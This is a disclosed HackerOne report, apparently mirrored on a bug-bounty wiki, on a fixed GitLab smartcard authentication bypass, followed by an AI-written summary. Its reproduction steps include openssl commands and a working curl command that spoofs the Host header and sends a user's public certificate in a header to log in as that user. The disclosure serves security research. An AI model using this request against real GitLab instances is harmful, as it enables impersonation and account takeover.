Smartcard authentication host verification is trivial to circumvent, making it possible to bypass certificate verification
The smartcard authentication setup did not verify the Host header or prevent the client certificate header from being passed on the regular TLS port. An attacker with a user's public certificate could authenticate as that user without possessing the private key.
GitLab
Originally disclosed on GitLab
- Fixed in 2 months
- Disclosed after 2 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #3183613 by nermalt on 2025-06-09, assigned to @katwu:
Report | How To Reproduce
Report
NOTE! Thanks for submitting a report! Please note that initial triage is handled by HackerOne staff. They are identified with a
HackerOne triagebadge and will escalate to the GitLab team any. Please replace all the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
Summary
Configuration of Smartcard authentication is described in Configure GitLab for smart card authentication , but the Nginx configuration that it results in won't ensure that the Host Header is correct and/or that the X-SSL-Client-Certificate header isn't passed on the regular TLS port. The verification of the host and port that happens in smartcard_controller.rb check_certificate_required_host_and_port assumes that the Host header hasn't been tampered with.
This makes it possible to authenticate with the public certificate without verification that the user possesses the corresponding private key, rendering the security useless.
The public certificate is not considered a secret; it can often be anonymously fetched from an LDAP-server for example.
Steps to reproduce
- Configure a GItLab instance with Smartcard authentication according to these instructions.
- Acquire the public certificate for a user that can log in to that instance
- Provide that public certificate as the url-encoded value of the header X-SSL-Client-Certificate and invoke that on the regular (non smartcard) host and port endpoint }/-/smartcard/extract_certificate, but spoofing the Host header so it matches what you've set as smartcard_client_certificate_required_host & smartcard_client_certificate_required_port. That can be done by using curl with the connect-to parameter (see the example below). The request from the example below could look like the following
- You'll be authenticated without having access to the private key corresponding to the public certificate
Impact
Having access to the public certificate of a user gives the ability to authenticate as that user. Since the public certificate isn't considered a secure token (it shows up in logs, signed e-mails, retrieveable anonymously from LDAP servers et c) security is completely circumvented.
Examples
- Create a key for a self-signed test CA by running these commands:
$ openssl genrsa -des3 -out myCA.key 2048
$ openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem -subj "/C=XX/L=Default City/O=Default Company Ltd" -passin pass:test1234
- Create a user certificate issued by this CA, and replace CN & emailAddress with the user you want to impersonate:
$ openssl genrsa -out user.test.key 2048
$ openssl req -new -key user.test.key -out user.test.csr -subj "/C=XX/L=Default City/O=Default Company Ltd/CN=root/[email protected]"
$ cat <<EOF > user.test.ext
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = [@]alt_names
[alt_names]
DNS.1 = user.test
EOF
$ openssl x509 -req -in user.test.csr -CA myCA.pem -CAkey myCA.key -CAcreateserial -out user.test.crt -days 825 -sha256 -extfile user.test.ext -passin pass:test1234
-
Configure a GitLab instance with Smartcard authentication by following these instructions, providing the CA cert created above as smartcard_ca_file.
-
Use curl and its connect-to parameter to spoof the Host header. Set the variables CERTIFICATE to the file containing the public certificate and the variables REGULAR_HOST_AND_PORT & SMARTCARD_HOST_AND_PORT as applicable:
CERTIFICATE=./user.test.crt
REGULAR_HOST_AND_PORT=gdk.test:3443
SMARTCARD_HOST_AND_PORT=gdk.test:3444
curl --silent --cookie-jar cookies --location --header "X-SSL-Client-Certificate: $(cat ${CERTIFICATE} | perl -MURI::Escape -wlne 'print uri_escape $_' | perl -pe 's/\n/%0A/g')" --connect-to ${SMARTCARD_HOST_AND_PORT}:${REGULAR_HOST_AND_PORT} https://${SMARTCARD_HOST_AND_PORT}/-/smartcard/extract_certificate | html2text
- You'll get an authenticated result
(If the bug is project related, please create an example project and export it using the project export feature)
(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version)
(If the bug can be reproduced on GitLab.com without violating the Rules of Engagement as outlined in the program policy, please provide the full path to the project.)
What is the current bug behavior?
Host is not verified and/or the X-SSL-Client-Certificate is passed along with requests on the regular (non-client certificate) endpoint.
What is the expected correct behavior?
False Host-headers should be redirected to an error (4xx) page
X-SSL-Client-Certificate should not be proxied (or set to "") on the regular (non-client certificate) endpoint for any request
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Output of checks
Results of GitLab environment info
System information
System:
Proxy: no
Current User: user
Using RVM: no
Ruby Version: 3.3.7
Gem Version: 3.6.9
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/version.rb:8: warning: already initialized constant RDoc::VERSION
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/version.rb:8: warning: previous definition of VERSION was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:68: warning: already initialized constant RDoc::VISIBILITIES
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:68: warning: previous definition of VISIBILITIES was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:74: warning: already initialized constant RDoc::DOT_DOC_FILENAME
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:74: warning: previous definition of DOT_DOC_FILENAME was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:79: warning: already initialized constant RDoc::GENERAL_MODIFIERS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:79: warning: previous definition of GENERAL_MODIFIERS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:84: warning: already initialized constant RDoc::CLASS_MODIFIERS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:84: warning: previous definition of CLASS_MODIFIERS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:89: warning: already initialized constant RDoc::ATTR_MODIFIERS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:89: warning: previous definition of ATTR_MODIFIERS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:94: warning: already initialized constant RDoc::CONSTANT_MODIFIERS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:94: warning: previous definition of CONSTANT_MODIFIERS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc.rb:99: warning: already initialized constant RDoc::METHOD_MODIFIERS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc.rb:99: warning: previous definition of METHOD_MODIFIERS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown.rb:257: warning: already initialized constant RDoc::Markdown::KpegPosInfo
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown.rb:257: warning: previous definition of KpegPosInfo was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown/entities.rb:5: warning: already initialized constant RDoc::Markdown::HTML_ENTITIES
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown/entities.rb:5: warning: previous definition of HTML_ENTITIES was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown/literals.rb:86: warning: already initialized constant RDoc::Markdown::Literals::KpegPosInfo
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown/literals.rb:86: warning: previous definition of KpegPosInfo was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown/literals.rb:446: warning: already initialized constant RDoc::Markdown::Literals::Rules
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown/literals.rb:446: warning: previous definition of Rules was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown.rb:584: warning: already initialized constant RDoc::Markdown::EXTENSIONS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown.rb:584: warning: previous definition of EXTENSIONS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown.rb:589: warning: already initialized constant RDoc::Markdown::DEFAULT_EXTENSIONS
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown.rb:589: warning: previous definition of DEFAULT_EXTENSIONS was here
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.1/lib/rdoc/markdown.rb:16556: warning: already initialized constant RDoc::Markdown::Rules
/home/user/.local/share/mise/installs/ruby/3.3.7/lib/ruby/gems/3.3.0/gems/rdoc-6.13.0/lib/rdoc/markdown.rb:16556: warning: previous definition of Rules was here
Bundler Version:2.6.5
Rake Version: 13.0.6
Redis Version: 7.0.14
Sidekiq Version:7.3.9
Go Version: go1.24.0 linux/amd64
DEPRECATION WARNING: Project model aliases `approvals_before_merge` and has a method called `approvals_before_merge` defined. Starting in Rails 7.2 `fallback_approvals_required` will not be calling `approvals_before_merge` anymore. You may want to additionally define `fallback_approvals_required` to preserve the current behavior. (called from initialize at /home/user/gdk/gitlab/app/models/project.rb:1250)
GitLab information
Version: 18.1.0-pre
Revision: 1f1d4d89ac5
Directory: /home/user/gdk/gitlab
DB Adapter: PostgreSQL
DB Version: 16.8
URL: https://gdk.test:3443
HTTP Clone URL: https://gdk.test:3443/some-group/some-project.git
SSH Clone URL: ssh://[email protected]:2222/some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.42.0
Repository storages:
- default: unix:/home/user/gdk/praefect.socket
GitLab Shell path: /home/user/gdk/gitlab-shell
Gitaly
- default Address: unix:/home/user/gdk/praefect.socket
- default Version: 17.10.0-rc1-424-g0d8ff7337
- default Git Version: 2.49.0.gl2
Impact
Having access to the public certificate of a user gives the ability to authenticate as that user. Since the public certificate isn't considered a secure token (it shows up in logs, signed e-mails, retrieveable anonymously from LDAP servers et c) security is completely circumvented.
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Nginx configuration did not enforce the Host header or strip the client certificate header on the regular TLS port, and the application trusted the Host header for its check.
Impact
An attacker with a user's public certificate could authenticate as that user, completely bypassing the smartcard security control.
What the attacker needed
GitLab with smartcard auth configured; Public certificate of a valid user
The fix
The Host header should be validated and the X-SSL-Client-Certificate header should not be proxied on the regular endpoint.
How it was found
- Configure a GitLab instance with smartcard authentication.
- Obtain the public certificate of a user who can log in.
- Send a request to the regular host and port with the certificate in the X-SSL-Client-Certificate header, spoofing the Host header to match the smartcard host and port.
- Observe that authentication succeeds without the private key.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Smartcard authentication is meant to prove you hold a private key by presenting a matching certificate. Here, the server trusted a certificate sent in a header without checking it came from the smartcard port, so anyone who obtained the public certificate could log in as that user.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.